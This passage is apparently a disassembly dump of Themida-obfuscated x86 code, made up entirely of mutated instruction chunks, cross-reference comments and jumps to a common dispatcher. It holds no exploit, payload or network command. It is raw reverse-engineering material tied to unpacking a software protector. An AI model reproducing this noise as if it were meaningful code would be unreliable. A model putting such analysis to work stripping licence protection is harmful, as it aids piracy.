cl, 0FEh jmp loc_54650F ; --------------------------------------------------------------------------- loc_548DA4: ; CODE XREF: Themida_:0054D237j sub ebx, ebp pop ebp mov eax, ebx pop ebx sub edi, eax mov eax, [esp] add esp, 4 inc edi not edi sub edi, 75115306h xor edi, 2C2F57BBh sub ecx, edi pop edi push esi jmp loc_549240 ; --------------------------------------------------------------------------- loc_548DCD: ; CODE XREF: Themida_:0054B76Fj sub eax, ecx pop ecx jmp loc_548C2B ; --------------------------------------------------------------------------- loc_548DD5: ; CODE XREF: Themida_:00545FD9j xor ebx, esi pop esi jmp loc_549736 ; --------------------------------------------------------------------------- loc_548DDD: ; CODE XREF: Themida_:0054783Fj push ebx jmp loc_54CF53 ; --------------------------------------------------------------------------- loc_548DE3: ; CODE XREF: Themida_:00546A23j push ecx mov ecx, esp jmp loc_54F664 ; --------------------------------------------------------------------------- loc_548DEB: ; CODE XREF: Themida_:0054D2F7j pop ebx add ebx, 26383B21h jmp loc_544DFE ; --------------------------------------------------------------------------- loc_548DF7: ; CODE XREF: Themida_:0054A8E1j pop eax pop ebx jmp loc_547A49 ; --------------------------------------------------------------------------- loc_548DFE: ; CODE XREF: Themida_:0054DBBAj add eax, 35173F81h push esi jmp loc_54D04A ; --------------------------------------------------------------------------- loc_548E09: ; CODE XREF: Themida_:0054BC14j mov eax, [esp] add esp, 4 push edi mov edi, 4F505884h push esi jmp loc_549326 ; --------------------------------------------------------------------------- loc_548E1B: ; CODE XREF: Themida_:0054F438j pop edi sub edi, 3DCA171Fh mov eax, [esp] add esp, 4 push edx mov edx, 13982458h or edx, 5DA31F6Eh jmp loc_54D7A4 ; --------------------------------------------------------------------------- loc_548E39: ; CODE XREF: Themida_:00549062j dec bh sub bh, 49h xor bh, 65h add al, bh pop ebx jmp loc_548C10 ; --------------------------------------------------------------------------- loc_548E49: ; CODE XREF: Themida_:0054DF6Fj push 611D14EFh pop ecx add ecx, 0E96C6463h push ecx pop edx mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_54CF95 ; --------------------------------------------------------------------------- loc_548E6B: ; CODE XREF: Themida_:0054AFF6j mov ebp, esp jmp loc_546CEE ; --------------------------------------------------------------------------- loc_548E72: ; CODE XREF: Themida_:00546960j pop esp jmp loc_5450B3 ; --------------------------------------------------------------------------- loc_548E78: ; CODE XREF: Themida_:0054F1CCj mov ecx, 77A9112Eh dec ecx jmp loc_549886 ; --------------------------------------------------------------------------- loc_548E83: ; CODE XREF: Themida_:005455DAj pop ecx mov bh, al jmp loc_5454EE ; --------------------------------------------------------------------------- loc_548E8B: ; CODE XREF: Themida_:005452E9j add ecx, 13DE7857h or ecx, 3C10865h add ecx, 0B02C5285h add ebx, ecx pop ecx jmp loc_5480F2 ; --------------------------------------------------------------------------- loc_548EA5: ; CODE XREF: Themida_:00547F5Dj jmp loc_544022 ; --------------------------------------------------------------------------- loc_548EAA: ; CODE XREF: Themida_:0054F286j add edx, 4 xor edx, [esp] xor [esp], edx jmp loc_550019 ; --------------------------------------------------------------------------- loc_548EB8: ; CODE XREF: Themida_:0054FC22j sub edx, eax jmp loc_54D877 ; --------------------------------------------------------------------------- loc_548EBF: ; CODE XREF: Themida_:0054F242j xchg esi, [esp] pop esp jmp loc_545957 ; --------------------------------------------------------------------------- loc_548EC8: ; CODE XREF: Themida_:00545ED0j sub ebp, 4 xchg ebp, [esp] jmp loc_544055 ; --------------------------------------------------------------------------- loc_548ED6: ; CODE XREF: Themida_:0054480Cj xchg ebp, [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_548EE7: ; CODE XREF: Themida_:00548877j pop dword ptr [esp] pop esp add esp, 4 or ecx, ecx jz loc_548715 sub esp, 4 push esp jmp loc_546FEE ; --------------------------------------------------------------------------- loc_548F02: ; CODE XREF: Themida_:00549E11j mov esp, [esp] jmp loc_54540F ; --------------------------------------------------------------------------- loc_548F0A: ; CODE XREF: Themida_:0054E539j add esp, 4 pop dword ptr [esp] jmp loc_54FE78 ; --------------------------------------------------------------------------- loc_548F15: ; CODE XREF: Themida_:005492DAj add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_5483E5 ; --------------------------------------------------------------------------- loc_548F29: ; CODE XREF: Themida_:0054F05Bj mov esi, eax pop eax sub esi, 2F637E58h jmp loc_544ACB ; --------------------------------------------------------------------------- loc_548F37: ; CODE XREF: Themida_:0054841Bj add ch, 92h jmp loc_5498C2 ; --------------------------------------------------------------------------- loc_548F3F: ; CODE XREF: Themida_:00545FDFj mov eax, 7F49241Ch mov ebp, eax jmp loc_54C431 ; --------------------------------------------------------------------------- loc_548F4B: ; CODE XREF: Themida_:0054512Bj add ebp, 7A723D36h jmp loc_54A49E ; --------------------------------------------------------------------------- loc_548F56: ; CODE XREF: Themida_:0054D310j push esi jmp loc_54FEE2 ; --------------------------------------------------------------------------- loc_548F5C: ; CODE XREF: Themida_:00546E4Bj add eax, ecx pop ecx xchg eax, [esp] pop esp sub cl, 1 push 4B4h mov [esp], edx mov dh, 59h and cl, dh pop edx sub cl, 0D0h xor cl, 0A4h sub al, cl pop ecx add bl, 49h add bl, al push 1FFFh jmp loc_546A34 ; --------------------------------------------------------------------------- loc_548F8B: ; CODE XREF: Themida_:00549097j push ecx jmp loc_54E6DC ; --------------------------------------------------------------------------- lodsb sub esp, 4 jmp loc_54C5F9 ; --------------------------------------------------------------------------- loc_548F9D: ; CODE XREF: Themida_:0054BE2Fj push 4C8A4A89h pop edi jmp loc_54D0EF ; --------------------------------------------------------------------------- loc_548FA8: ; CODE XREF: Themida_:0054BD90j add esp, 4 add [esp+4], ebp mov ebp, [esp] add esp, 4 jmp loc_54F199 ; --------------------------------------------------------------------------- loc_548FBD: ; CODE XREF: Themida_:005464FCj mov [esp], edx mov edx, 270E7429h mov eax, 47193F7Bh xor eax, edx mov edx, [esp] add esp, 4 push ecx jmp loc_54B76A ; --------------------------------------------------------------------------- loc_548FD8: ; CODE XREF: Themida_:00544125j push esi mov esi, 486F6C03h add edi, esi jmp loc_548B5F ; --------------------------------------------------------------------------- loc_548FE5: ; CODE XREF: Themida_:0054E8D4j pop esp jmp loc_546EA8 ; --------------------------------------------------------------------------- loc_548FEB: ; CODE XREF: Themida_:00547C0Bj mov ebp, 0C2D58636h sub ebx, ebp pop ebp sub eax, ebx pop ebx sub eax, ebx jmp loc_54B1CA ; --------------------------------------------------------------------------- loc_548FFD: ; CODE XREF: Themida_:00549345j add edx, edi pop edi add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push ecx mov ecx, esp push ebp mov ebp, 390359A5h inc ebp neg ebp push 6AFCh mov [esp], edx mov edx, 5FF92218h or ebp, edx pop edx sub ebp, 0DFFDA656h add ecx, ebp jmp loc_54F920 ; --------------------------------------------------------------------------- loc_549043: ; CODE XREF: Themida_:0054A4FFj add esp, 4 push 5C77h mov [esp], edx jmp loc_54D52A ; --------------------------------------------------------------------------- loc_549056: ; CODE XREF: Themida_:0054EFA8j shl ch, 5 push eax mov al, 2Bh push ebx mov bh, 7Bh shr bh, 3 jmp loc_548E39 ; --------------------------------------------------------------------------- loc_549067: ; CODE XREF: Themida_:0054F79Aj mov edx, [esp] jmp loc_54580B ; --------------------------------------------------------------------------- loc_54906F: ; CODE XREF: Themida_:0054A18Dj pop ebp add edi, esi pop esi xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] div cx push esi mov esi, esp push ecx jmp loc_549ED5 ; --------------------------------------------------------------------------- loc_54908B: ; CODE XREF: Themida_:0054B6A5j pop esp neg ebp sub esp, 4 mov [esp], eax jmp loc_548F8B ; --------------------------------------------------------------------------- loc_54909C: ; CODE XREF: Themida_:005472DEj add ebx, 2FF134F0h add ebx, ecx sub ebx, 2FF134F0h pop ecx xchg ebx, [esp] mov esp, [esp] push edi mov edi, esp jmp loc_54F0FF ; --------------------------------------------------------------------------- loc_5490B9: ; CODE XREF: Themida_:0054D6C4j add esp, 4 push esi jmp loc_548977 ; --------------------------------------------------------------------------- loc_5490C5: ; CODE XREF: Themida_:00546915j mov ch, 0EEh mov dl, 0B4h sub dl, ch jmp loc_544A3D ; --------------------------------------------------------------------------- loc_5490D0: ; CODE XREF: Themida_:00544A75j pop ebp and ebx, 73D90926h jmp loc_54B2EB ; --------------------------------------------------------------------------- loc_5490DC: ; CODE XREF: Themida_:00544CD0j jmp loc_544022 ; --------------------------------------------------------------------------- loc_5490E1: ; CODE XREF: Themida_:005455A7j add dword ptr [esp], 2B0B7FA6h jmp loc_544022 ; --------------------------------------------------------------------------- loc_5490ED: ; CODE XREF: Themida_:0054A3ECj pop esi jmp loc_545010 ; --------------------------------------------------------------------------- loc_5490F3: ; CODE XREF: Themida_:00544A5Ej and edi, 3C2414EFh xor edi, 2820FB75h and eax, edi pop edi or eax, eax jnz loc_54C9ED push ecx mov ecx, 67B27D81h jmp loc_54E015 ; --------------------------------------------------------------------------- loc_549115: ; CODE XREF: Themida_:0054B1CBj mov ebp, 5884461Ah add eax, ebp jmp loc_547B03 ; --------------------------------------------------------------------------- loc_549121: ; CODE XREF: Themida_:0054653Cj pop ebp shl si, 4 sub si, 466Ch add si, 699Ah add bp, si pop esi jmp loc_54D334 ; --------------------------------------------------------------------------- loc_549139: ; CODE XREF: Themida_:0054DAA5j push ebx push ebp mov ebp, 7C95201Dh mov ebx, ebp pop ebp sub ebx, 7C8039CEh shl ebx, 4 xor ebx, 9A17F2Eh and ecx, ebx pop ebx shr ecx, 7 jmp loc_54489F ; --------------------------------------------------------------------------- loc_54915D: ; CODE XREF: Themida_:00544CDDj sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp mov ebp, 25771392h inc ebp neg ebp xor ebp, 6DBC754Fh shl ebp, 3 jmp loc_54B91B ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_544022 ; --------------------------------------------------------------------------- mov cx, [esp] push ebx mov ebx, esp push edi mov edi, 46DD4AD7h xor edi, 47997AE6h jmp loc_54E393 ; --------------------------------------------------------------------------- loc_54919C: ; CODE XREF: Themida_:0054EB68j sub edi, eax pop eax sub edi, 4CB2056Ah sub edi, 6E55D04h sub edi, ecx jmp loc_546835 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax jmp loc_54B7E1 ; --------------------------------------------------------------------------- loc_5491BB: ; CODE XREF: Themida_:0054CFFAj pop bp xchg si, bp xchg cx, si not cx push si jmp loc_545D5C ; --------------------------------------------------------------------------- loc_5491CD: ; CODE XREF: Themida_:00547235j add ebx, edx pop edx push edi mov edi, 4 add ebx, edi pop edi jmp loc_54A250 ; --------------------------------------------------------------------------- loc_5491DE: ; CODE XREF: Themida_:0054CCBDj pop eax dec esi jmp loc_547C40 ; --------------------------------------------------------------------------- loc_5491E5: ; CODE XREF: Themida_:0054495Fj mov ebp, 2 add ebx, ebp push dword ptr [esp] pop ebp add esp, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp dec byte ptr [esp] pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_549209: ; CODE XREF: Themida_:00547253j add bl, al sub bl, 0C8h add bl, 0Eh push ax mov al, 75h jmp loc_547D91 ; --------------------------------------------------------------------------- loc_54921A: ; CODE XREF: Themida_:0054B9D8j mov edx, 0F209F319h jmp loc_54490B ; --------------------------------------------------------------------------- loc_549224: ; CODE XREF: Themida_:005493A1j xor bh, 59h sub ah, bh pop ebx sub ah, 35h mov dl, ah pop eax push ax push ebx jmp loc_54A40A ; --------------------------------------------------------------------------- loc_549238: ; CODE XREF: Themida_:0054D8C7j mov edx, [esp] jmp loc_54D426 ; --------------------------------------------------------------------------- loc_549240: ; CODE XREF: Themida_:00548DC8j mov esi, 0 sub esi, ecx push ebp mov ebp, esi mov ecx, ebp pop ebp pop esi add ecx, 3643566Bh sub ecx, 82149475h jmp loc_549788 ; --------------------------------------------------------------------------- loc_54925F: ; CODE XREF: Themida_:0054FEE9j pop esi add ebp, ecx push dword ptr [esp] pop ecx add esp, 4 push ebp push dword ptr [esp+4] mov ebp, [esp] push ebx jmp loc_547BA3 ; --------------------------------------------------------------------------- loc_549277: ; CODE XREF: Themida_:0054AAC4j sub esp, 4 mov [esp], ebp jmp loc_54A818 ; --------------------------------------------------------------------------- loc_549282: ; CODE XREF: Themida_:005471A9j mov ebp, 20E26DDAh xor ebp, 4E2C31D2h sub ebp, 1B430E35h and ebp, 3B582EA6h xor ebp, 686F1EA7h not ebp sub ebp, 455CC75Bh sub edi, ebp jmp loc_54E047 ; --------------------------------------------------------------------------- loc_5492AE: ; CODE XREF: Themida_:00548D44j xor ecx, 6CB57E0Dh push esi mov esi, 5F821162h neg esi dec esi jmp loc_546474 ; --------------------------------------------------------------------------- loc_5492C2: ; CODE XREF: Themida_:00544E72j push eax push esp mov eax, [esp] add esp, 4 add eax, 4 push edi mov edi, esp jmp loc_5496CC ; --------------------------------------------------------------------------- loc_5492D7: ; CODE XREF: Themida_:005461F1j mov esp, [esp] jmp loc_548F15 ; --------------------------------------------------------------------------- loc_5492DF: ; CODE XREF: Themida_:00545631j dec cx sub cx, 0AD3Bh xor si, cx pop ecx add si, 6E7Ch jmp loc_54CBB0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545BCC loc_5492F4: ; CODE XREF: sub_545BCC-14BBj xor bh, 31h jmp loc_545877 ; END OF FUNCTION CHUNK FOR sub_545BCC ; --------------------------------------------------------------------------- loc_5492FC: ; CODE XREF: Themida_:0054D82Ej add edi, 4 push esi push ebx push 630F1A69h pop ebx xor ebx, 630F1A6Dh mov esi, ebx pop ebx add edi, esi pop esi xor edi, [esp] jmp $+5 xor [esp], edi jmp loc_549861 ; --------------------------------------------------------------------------- loc_549326: ; CODE XREF: Themida_:00548E16j push 74A6h jmp loc_54FFFB ; --------------------------------------------------------------------------- loc_549330: ; CODE XREF: Themida_:0054E1FCj pop ecx push ebp mov ebp, 0FFE624EBh jmp loc_54E7D6 ; --------------------------------------------------------------------------- loc_54933C: ; CODE XREF: Themida_:00545EC5j or edi, esi pop esi add edi, 80148027h jmp loc_548FFD ; --------------------------------------------------------------------------- loc_54934A: ; CODE XREF: Themida_:0054CA25j add [esp+4], ecx add dword ptr [esp+4], 6F9A6EFCh jmp loc_54FA3B ; --------------------------------------------------------------------------- loc_54935B: ; CODE XREF: Themida_:0054E29Aj add ebp, 47D156BBh add ebp, eax sub ebp, 47D156BBh sub ebp, 37D561A7h jmp loc_5482E9 ; --------------------------------------------------------------------------- loc_549374: ; CODE XREF: Themida_:0054AAEDj jmp loc_544022 ; --------------------------------------------------------------------------- loc_549379: ; CODE XREF: Themida_:0054CE4Fj sub ebx, 6C346D80h add ebx, eax jmp loc_5464F5 ; --------------------------------------------------------------------------- loc_549386: ; CODE XREF: Themida_:0054F25Bj mov [esp], edx mov edx, 11C1373Dh jmp loc_546526 ; --------------------------------------------------------------------------- loc_549393: ; CODE XREF: Themida_:00546A9Bj add esp, 4 jmp loc_54792C ; --------------------------------------------------------------------------- loc_54939E: ; CODE XREF: Themida_:00546521j and bh, 47h jmp loc_549224 ; --------------------------------------------------------------------------- loc_5493A6: ; CODE XREF: Themida_:00545707j xor eax, [esp] mov esp, [esp] jmp loc_54D603 ; --------------------------------------------------------------------------- loc_5493B1: ; CODE XREF: Themida_:0054EF64j pop esp movzx eax, al jmp loc_5484EA ; --------------------------------------------------------------------------- loc_5493BA: ; CODE XREF: Themida_:005473AAj add ecx, 0BBFADC5Ah add ebp, ecx pop ecx jmp loc_545537 ; --------------------------------------------------------------------------- loc_5493C8: ; CODE XREF: Themida_:005474F5j sub ebp, esi pop esi add ebx, ebp jmp loc_5459F1 ; --------------------------------------------------------------------------- loc_5493D2: ; CODE XREF: Themida_:005479CEj pop edi mov ebx, edx jmp loc_5442BE ; --------------------------------------------------------------------------- loc_5493DA: ; CODE XREF: Themida_:00545371j add edi, 4 push 54h jmp loc_54E0CF ; --------------------------------------------------------------------------- loc_5493EA: ; CODE XREF: Themida_:005488E1j pop esp mov [esp], ebx push 6603h mov [esp], esp add dword ptr [esp], 4 pop ebx add ebx, 4 push edi mov edi, 4 add ebx, edi mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp or [esp], eax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_549427: ; CODE XREF: Themida_:00546D02j mov [esp], eax push esp pop eax push ebx jmp loc_54D572 ; --------------------------------------------------------------------------- loc_549432: ; CODE XREF: Themida_:0054F773j push ebp push 6AD068A0h pop ebp add edi, ebp jmp loc_54E571 ; --------------------------------------------------------------------------- loc_549440: ; CODE XREF: Themida_:00545AB9j mov edx, 2 jmp loc_545160 ; --------------------------------------------------------------------------- loc_54944A: ; CODE XREF: Themida_:0054FB02j push esp pop esi jmp loc_546C34 ; --------------------------------------------------------------------------- loc_549451: ; CODE XREF: Themida_:00549A60j mov edx, ecx jmp loc_546A28 ; --------------------------------------------------------------------------- loc_549458: ; CODE XREF: Themida_:0054DB4Ej add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ebp mov ebp, 53AC64D7h or ebp, 83300EAh not ebp neg ebp xor ebp, 5BA15F52h jmp loc_54412A ; --------------------------------------------------------------------------- loc_549480: ; CODE XREF: Themida_:005445A9j sub esp, 4 mov [esp], esi mov esi, 322F40D4h sub esi, 496D4885h and esi, 147D7FE2h neg esi and esi, 52A46564h add esi, 0AD5BFADEh add eax, esi mov esi, [esp] add esp, 4 xor eax, [esp] xor [esp], eax jmp loc_545352 ; --------------------------------------------------------------------------- loc_5494BB: ; CODE XREF: Themida_:0054B89Cj xchg edx, [esp] jmp loc_5498A0 ; --------------------------------------------------------------------------- loc_5494C3: ; CODE XREF: Themida_:0054C262j push esi mov esi, esp add esi, 4 push edi mov edi, 4 add esi, edi pop edi xchg esi, [esp] jmp loc_54CE02 ; --------------------------------------------------------------------------- loc_5494DD: ; CODE XREF: Themida_:00545AD4j mov [esp], ebx mov bl, 40h push eax mov ah, 0B7h xor ah, 88h xor bl, ah jmp loc_54A0D7 ; --------------------------------------------------------------------------- loc_5494EF: ; CODE XREF: Themida_:0054BAD2j add ecx, ebx pop ebx xor ecx, 0A0D6C1B1h add edx, ecx pop ecx add edx, esi sub edx, 546A7F30h pop esi push eax mov eax, 4 add edx, eax pop eax xchg edx, [esp] mov esp, [esp] jmp loc_547605 ; --------------------------------------------------------------------------- loc_549518: ; CODE XREF: Themida_:00545E80j mov esi, 4 add ecx, esi mov esi, [esp] add esp, 4 jmp loc_545698 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_548BB4 ; --------------------------------------------------------------------------- loc_54953B: ; CODE XREF: Themida_:00544105j add ebx, eax push edi jmp loc_54DC6A ; --------------------------------------------------------------------------- loc_549543: ; CODE XREF: Themida_:00548345j pop ebx add al, dl push dword ptr [esp] pop edx push eax mov eax, esp add eax, 4 jmp loc_54CD7F ; --------------------------------------------------------------------------- loc_549557: ; CODE XREF: Themida_:0054BB59j xor al, bl sub esp, 2 mov [esp], cx jmp loc_54B02E ; --------------------------------------------------------------------------- loc_549568: ; CODE XREF: Themida_:0054F9A2j xchg edx, [esp] pop esp jmp loc_546D34 ; --------------------------------------------------------------------------- loc_549571: ; CODE XREF: Themida_:0054DF35j sub al, 9Fh jmp loc_5447A7 ; --------------------------------------------------------------------------- loc_549578: ; CODE XREF: Themida_:0054DD84j mov edx, esp push ebp mov ebp, 3E0D70CCh shl ebp, 2 shr ebp, 6 jmp loc_544C6A ; --------------------------------------------------------------------------- loc_54958B: ; CODE XREF: Themida_:0054FA0Ej add esi, 19963B8Eh mov ecx, [esp] add esp, 4 mov eax, esi pop esi sub esp, 4 jmp loc_54CB7F ; --------------------------------------------------------------------------- loc_5495A2: ; CODE XREF: Themida_:0054FE59j mov edx, 4 sub edi, edx pop edx jmp loc_54B9B3 ; --------------------------------------------------------------------------- loc_5495AF: ; CODE XREF: Themida_:005485F1j jmp loc_544022 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545BCC loc_5495B4: ; CODE XREF: sub_545BCC+8j sub dl, 3Fh jmp loc_54AA25 ; END OF FUNCTION CHUNK FOR sub_545BCC ; --------------------------------------------------------------------------- loc_5495BC: ; CODE XREF: Themida_:0054D23Fj and eax, ecx pop ecx or edx, eax jmp loc_54E37C ; --------------------------------------------------------------------------- loc_5495C6: ; CODE XREF: Themida_:0054CD17j xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp xchg ebp, [esp] pop esp mov ax, [esp] push edi mov edi, esp add edi, 4 push 4E0Eh mov [esp], esi push edx push eax push 3C8A1F61h pop eax xchg eax, edi push edi not dword ptr [esp] pop edi xchg eax, edi dec eax xor eax, 0C375E09Fh mov edx, eax mov eax, [esp] add esp, 4 mov esi, edx mov edx, [esp] add esp, 4 add edi, esi pop esi push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] imul cx push small 4C7Eh mov [esp], dx push ax pushf jmp loc_546D75 ; --------------------------------------------------------------------------- loc_549633: ; CODE XREF: Themida_:0054E7B0j add ebp, 4 xor ebp, [esp] jmp loc_547722 ; --------------------------------------------------------------------------- loc_549641: ; CODE XREF: Themida_:00547510j not ecx jmp loc_54EB16 ; --------------------------------------------------------------------------- loc_549648: ; CODE XREF: Themida_:00545E4Bj jz loc_54C9ED push dword ptr [edi+28h] push dword ptr [esp] pop eax push edx mov edx, esp push ebp jmp loc_547D4B ; --------------------------------------------------------------------------- loc_54965E: ; CODE XREF: Themida_:005464EAj push ebx mov ebx, esp jmp loc_54E12D ; --------------------------------------------------------------------------- loc_549666: ; CODE XREF: Themida_:00546452j pop dword ptr [esp] jmp loc_549EDF ; --------------------------------------------------------------------------- loc_54966E: ; CODE XREF: Themida_:00546694j test cx, ax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_549677: ; CODE XREF: Themida_:00549C05j push esi jmp loc_54CABA ; --------------------------------------------------------------------------- loc_54967D: ; CODE XREF: Themida_:005459C7j mov esi, 39CD6F99h inc esi push ebp jmp loc_5477E7 ; --------------------------------------------------------------------------- loc_549689: ; CODE XREF: Themida_:0054608Fj add edi, 4 push esi jmp loc_544344 ; --------------------------------------------------------------------------- loc_549695: ; CODE XREF: Themida_:0054F921j push eax mov eax, 4 add ecx, eax pop eax sub esp, 4 mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 jmp loc_54E8A5 ; --------------------------------------------------------------------------- loc_5496B3: ; CODE XREF: Themida_:00548224j mov edi, edx pop edx jmp loc_549C3D ; --------------------------------------------------------------------------- sub ch, 0AFh or al, ch jmp loc_545236 ; --------------------------------------------------------------------------- loc_5496C5: ; CODE XREF: Themida_:00549AF9j mov eax, esp jmp loc_54EEBA ; --------------------------------------------------------------------------- loc_5496CC: ; CODE XREF: Themida_:005492D2j add edi, 4 jmp loc_54A430 ; --------------------------------------------------------------------------- loc_5496D7: ; CODE XREF: Themida_:0054FA9Ej xor edx, edi xor edi, edx xor edx, edi dec edi jmp loc_54657A ; --------------------------------------------------------------------------- loc_5496E3: ; CODE XREF: Themida_:0054FB3Fj xor [esp], ebp xor ebp, [esp] pop esp mov [esp], edi push 48EEh mov [esp], esp jmp loc_54A10E ; --------------------------------------------------------------------------- loc_5496FA: ; CODE XREF: Themida_:00548511j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_547F34 ; --------------------------------------------------------------------------- loc_54970D: ; CODE XREF: Themida_:00545923j xor ebx, ecx xor ecx, ebx push 707h mov [esp], edx mov edx, 5FDB464Ch dec edx push edi mov edi, 49E265CEh sub edx, edi pop edi sub edx, 4BB4AED9h xor ecx, edx pop edx jmp loc_54B4D5 ; --------------------------------------------------------------------------- loc_549736: ; CODE XREF: Themida_:00548DD8j xor ebx, 0B88BB254h or esi, ebx pop ebx jmp loc_546928 ; --------------------------------------------------------------------------- loc_549744: ; CODE XREF: Themida_:005486C4j pop ecx dec esi dec esi sub esi, 0F5E7CD72h mov edx, esi pop esi push ebp mov ebp, 0F4B0DEFh shr ebp, 5 jmp loc_54BBF0 ; --------------------------------------------------------------------------- loc_54975E: ; CODE XREF: Themida_:00549939j pop ebp mov ecx, [esp] add esp, 4 push eax jmp loc_54FB07 ; --------------------------------------------------------------------------- loc_54976E: ; CODE XREF: Themida_:0054B8C3j pop esp mov [esp], eax jmp loc_54C6B6 ; --------------------------------------------------------------------------- loc_549777: ; CODE XREF: Themida_:0054F40Fj mov [esp], esi mov esi, 5081479Dh xchg ebx, esi xchg edx, ebx jmp loc_54EF8F ; --------------------------------------------------------------------------- loc_549788: ; CODE XREF: Themida_:0054925Aj and eax, ecx pop ecx shr eax, 0Bh xor ecx, eax jmp loc_547C3A ; --------------------------------------------------------------------------- loc_549795: ; CODE XREF: Themida_:0054C40Aj push ebx mov ebx, esp add ebx, 4 push esi push ebp mov ebp, 2BD3327Eh neg ebp xor ebp, 0D42CCD86h jmp loc_54F210 ; --------------------------------------------------------------------------- loc_5497B2: ; CODE XREF: Themida_:0054FFECj add al, ch pop cx mov ecx, [esp] jmp loc_54C65F ; --------------------------------------------------------------------------- loc_5497BE: ; CODE XREF: Themida_:00545872j dec ecx jmp loc_54D4D3 ; --------------------------------------------------------------------------- loc_5497C4: ; CODE XREF: Themida_:0054F82Dj xor ebp, 0CFF7E81Dh jmp loc_545836 ; --------------------------------------------------------------------------- loc_5497CF: ; CODE XREF: Themida_:00546DE9j add edi, ebx sub edi, 392030C8h pop ebx add edi, 2 xchg edi, [esp] mov esp, [esp] div cl movzx cx, ah push 47FBh mov [esp], edx jmp loc_545F07 ; --------------------------------------------------------------------------- loc_5497F4: ; CODE XREF: Themida_:0054F6A2j sub ebx, edi pop edi neg ebx neg ebx add ebx, 2EE8A517h sub edi, 20C1994h add edi, ebx add edi, 20C1994h mov ebx, [esp] add esp, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] push ebx push eax mov eax, 1E7A1B99h mov ebx, 0C91640Dh add ebx, eax pop eax jmp loc_5463B1 ; --------------------------------------------------------------------------- loc_549832: ; CODE XREF: Themida_:0054E6A7j xor edx, 66DF6814h jmp loc_547477 ; --------------------------------------------------------------------------- loc_54983D: ; CODE XREF: Themida_:00548A42j shl edx, 2 not edx or edx, 75031985h sub edx, 0FD6B999Bh jmp loc_54C141 ; --------------------------------------------------------------------------- loc_549853: ; CODE XREF: Themida_:0054B598j not al shl al, 4 and al, 0EDh xor al, 41h jmp loc_54A6B5 ; --------------------------------------------------------------------------- loc_549861: ; CODE XREF: Themida_:00549321j xor edi, [esp] mov esp, [esp] jmp loc_5484A4 ; --------------------------------------------------------------------------- loc_54986C: ; CODE XREF: Themida_:00549A20j pop dword ptr [esp] mov esp, [esp] jmp loc_5474A1 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_549886: ; CODE XREF: Themida_:00548E7Ej not ecx jmp loc_54D2B5 ; --------------------------------------------------------------------------- loc_54988D: ; CODE XREF: Themida_:0054B349j mov [esp], edx mov edx, 5E3F0C25h and edx, 74FD1739h jmp loc_5465A1 ; --------------------------------------------------------------------------- loc_5498A0: ; CODE XREF: Themida_:005494BEj mov esp, [esp] push edx jmp loc_545E0F ; --------------------------------------------------------------------------- loc_5498A9: ; CODE XREF: Themida_:0054F4ADj sub esp, 4 mov [esp], ecx jmp loc_54A52D ; --------------------------------------------------------------------------- loc_5498B7: ; CODE XREF: Themida_:0054E319j add ecx, offset byte_4A049D jmp loc_546281 ; --------------------------------------------------------------------------- loc_5498C2: ; CODE XREF: Themida_:00548F3Aj dec ch not ch add ch, 1Bh mov dh, ch pop ecx push edx mov dl, 66h push ecx mov cl, dl neg cl mov dl, cl pop ecx add dl, 0E8h inc dl jmp loc_54ABC3 ; --------------------------------------------------------------------------- loc_5498E1: ; CODE XREF: Themida_:0054FC35j add esp, 4 jmp loc_54BB22 ; --------------------------------------------------------------------------- loc_5498E9: ; CODE XREF: Themida_:0054DFE5j add ecx, edx pop edx sub edi, ecx jmp loc_54B2FE ; --------------------------------------------------------------------------- loc_5498F3: ; CODE XREF: Themida_:0054D580j xor esi, 30DB7CBCh add esi, 43DB2147h add esi, 21AD269Eh or esi, 1C031852h push eax mov eax, 4F034D8Fh shl eax, 3 neg eax sub eax, 0CA85FA09h xor esi, eax pop eax mov edi, esi pop esi mov ebx, edi pop edi sub eax, 4A8655AFh add eax, ebx add eax, 4A8655AFh jmp loc_54D957 ; --------------------------------------------------------------------------- loc_549935: ; CODE XREF: Themida_:00546305j add [esp+4], ebp jmp loc_54975E ; --------------------------------------------------------------------------- loc_54993E: ; CODE XREF: Themida_:00549AF1j pop ebx xor esi, edi pop edi sub dword ptr [esp+4], 250A3EEFh jmp loc_546376 ; --------------------------------------------------------------------------- loc_54994F: ; CODE XREF: Themida_:00549CA1j sub al, 82h mov ebx, [esp] add esp, 4 push 55EDh mov [esp], ecx mov ch, 39h shr ch, 6 neg ch dec ch add ch, 55h jmp loc_5482DE ; --------------------------------------------------------------------------- loc_549970: ; CODE XREF: Themida_:00547C76j mov [esp], ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx jmp loc_54F446 ; --------------------------------------------------------------------------- loc_549989: ; CODE XREF: Themida_:0054F0FAj push edi mov edi, esp push ebx mov ebx, 4 add edi, ebx pop ebx add edi, 4 xchg edi, [esp] mov esp, [esp] pop eax jmp loc_545409 ; --------------------------------------------------------------------------- loc_5499A7: ; CODE XREF: 